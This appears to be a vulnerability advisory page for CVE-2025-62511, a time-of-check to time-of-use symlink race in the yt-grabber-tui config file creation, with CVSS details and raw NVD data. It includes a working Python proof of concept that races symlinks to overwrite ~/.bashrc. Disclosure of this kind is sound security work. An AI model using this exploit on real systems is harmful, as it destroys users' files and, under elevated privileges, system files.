Security Vulnerability Report
中文
CVE-2025-62511 CVSS 6.3 MEDIUM

CVE-2025-62511

Published: 2025-10-17 20:15:42
Last Modified: 2026-04-15 00:35:42

Description

yt-grabber-tui is a C++ terminal user interface application for downloading YouTube content. yt-grabber-tui version 1.0 contains a Time-of-Check to Time-of-Use (TOCTOU) race condition (CWE-367) in the creation of the default configuration file config.json. In version 1.0, load_json_settings in Settings.hpp checks for the existence of config.json using boost::filesystem::exists and, if the file is missing, calls create_json_settings which writes the JSON configuration with boost::property_tree::write_json. A local attacker with write access to the application’s configuration directory (~/.config/yt-grabber-tui on Linux or the current working directory on Windows) can create a symbolic link between the existence check and the subsequent write so that the write operation follows the symlink and overwrites an attacker-chosen file accessible to the running process. This enables arbitrary file overwrite within the privileges of the application process, which can corrupt files and cause loss of application or user data. If the application is executed with elevated privileges, this could extend to system file corruption. The issue is fixed in version 1.0.1.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

yt-grabber-tui = 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-62511 PoC - TOCTOU Race Condition in yt-grabber-tui config.json creation This PoC demonstrates the TOCTOU race condition exploitation by rapidly creating symlinks in the config directory between the existence check and file write. """ import os import sys import time import threading import subprocess import shutil CONFIG_DIR = os.path.expanduser("~/.config/yt-grabber-tui") CONFIG_FILE = os.path.join(CONFIG_DIR, "config.json") TARGET_FILE = os.path.expanduser("~/.bashrc") # Target file to overwrite def cleanup(): """Clean up any existing config directory or symlinks""" if os.path.exists(CONFIG_FILE) or os.path.islink(CONFIG_FILE): try: os.unlink(CONFIG_FILE) except OSError: pass if os.path.isdir(CONFIG_DIR) and not os.listdir(CONFIG_DIR): os.rmdir(CONFIG_DIR) def race_symlink_creator(stop_event): """ Continuously create and remove symlinks to win the race condition. This runs in a tight loop to maximize the chance of the symlink being created between the existence check and the file write. """ while not stop_event.is_set(): try: # Remove existing file/symlink if present if os.path.exists(CONFIG_FILE) or os.path.islink(CONFIG_FILE): os.unlink(CONFIG_FILE) # Create symlink pointing to attacker-chosen target file os.symlink(TARGET_FILE, CONFIG_FILE) # Brief sleep to allow the application to write through the symlink time.sleep(0.001) except OSError: # If symlink already exists or other error, retry time.sleep(0.0001) def trigger_application(): """Run the yt-grabber-tui application to trigger the vulnerable code path""" try: # Execute the application - it will check for config.json and try to create it subprocess.run( ["yt-grabber-tui"], timeout=5, capture_output=True ) except (subprocess.TimeoutExpired, FileNotFoundError): pass def verify_exploitation(): """Check if the target file has been overwritten with JSON content""" if os.path.islink(CONFIG_FILE): # Symlink still exists - check if target was modified try: with open(TARGET_FILE, 'r') as f: content = f.read() if '{' in content and '}' in content: print(f"[+] SUCCESS: Target file {TARGET_FILE} has been overwritten!") print(f"[+] First 200 chars of overwritten content: {content[:200]}") return True except (PermissionError, OSError): print(f"[-] Cannot read target file (may need elevated privileges)") return False def main(): print(f"[*] CVE-2025-62511 PoC - yt-grabber-tui TOCTOU Race Condition") print(f"[*] Config directory: {CONFIG_DIR}") print(f"[*] Target file: {TARGET_FILE}") print() # Clean up before exploitation cleanup() # Ensure config directory exists os.makedirs(CONFIG_DIR, exist_ok=True) stop_event = threading.Event() max_attempts = 50 for attempt in range(1, max_attempts + 1): print(f"[*] Attempt {attempt}/{max_attempts}...") # Clean up any previous artifacts if os.path.islink(CONFIG_FILE): os.unlink(CONFIG_FILE) # Start the symlink creator thread symlink_thread = threading.Thread(target=race_symlink_creator, args=(stop_event,)) symlink_thread.daemon = True symlink_thread.start() # Small delay to let symlink creator start time.sleep(0.01) # Trigger the application trigger_application() # Stop the symlink creator stop_event.set() symlink_thread.join(timeout=2) stop_event.clear() # Check if exploitation was successful if verify_exploitation(): print(f"\n[+] Exploitation successful after {attempt} attempt(s)!") sys.exit(0) # Clean up for next attempt if os.path.islink(CONFIG_FILE): os.unlink(CONFIG_FILE) print(f"\n[-] Exploitation failed after {max_attempts} attempts.") print("[-] The application may not be installed or the race window is too small.") cleanup() sys.exit(1) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62511", "sourceIdentifier": "[email protected]", "published": "2025-10-17T20:15:42.060", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "yt-grabber-tui is a C++ terminal user interface application for downloading YouTube content. yt-grabber-tui version 1.0 contains a Time-of-Check to Time-of-Use (TOCTOU) race condition (CWE-367) in the creation of the default configuration file config.json. In version 1.0, load_json_settings in Settings.hpp checks for the existence of config.json using boost::filesystem::exists and, if the file is missing, calls create_json_settings which writes the JSON configuration with boost::property_tree::write_json. A local attacker with write access to the application’s configuration directory (~/.config/yt-grabber-tui on Linux or the current working directory on Windows) can create a symbolic link between the existence check and the subsequent write so that the write operation follows the symlink and overwrites an attacker-chosen file accessible to the running process. This enables arbitrary file overwrite within the privileges of the application process, which can corrupt files and cause loss of application or user data. If the application is executed with elevated privileges, this could extend to system file corruption. The issue is fixed in version 1.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://github.com/zheny-creator/YtGrabber-TUI/commit/bf065e833820bb4253a70a4c1dc6b843c6d8bf21", "source": "[email protected]"}, {"url": "https://github.com/zheny-creator/YtGrabber-TUI/security/advisories/GHSA-hwwf-fq6p-rw9q", "source": "[email protected]"}]}}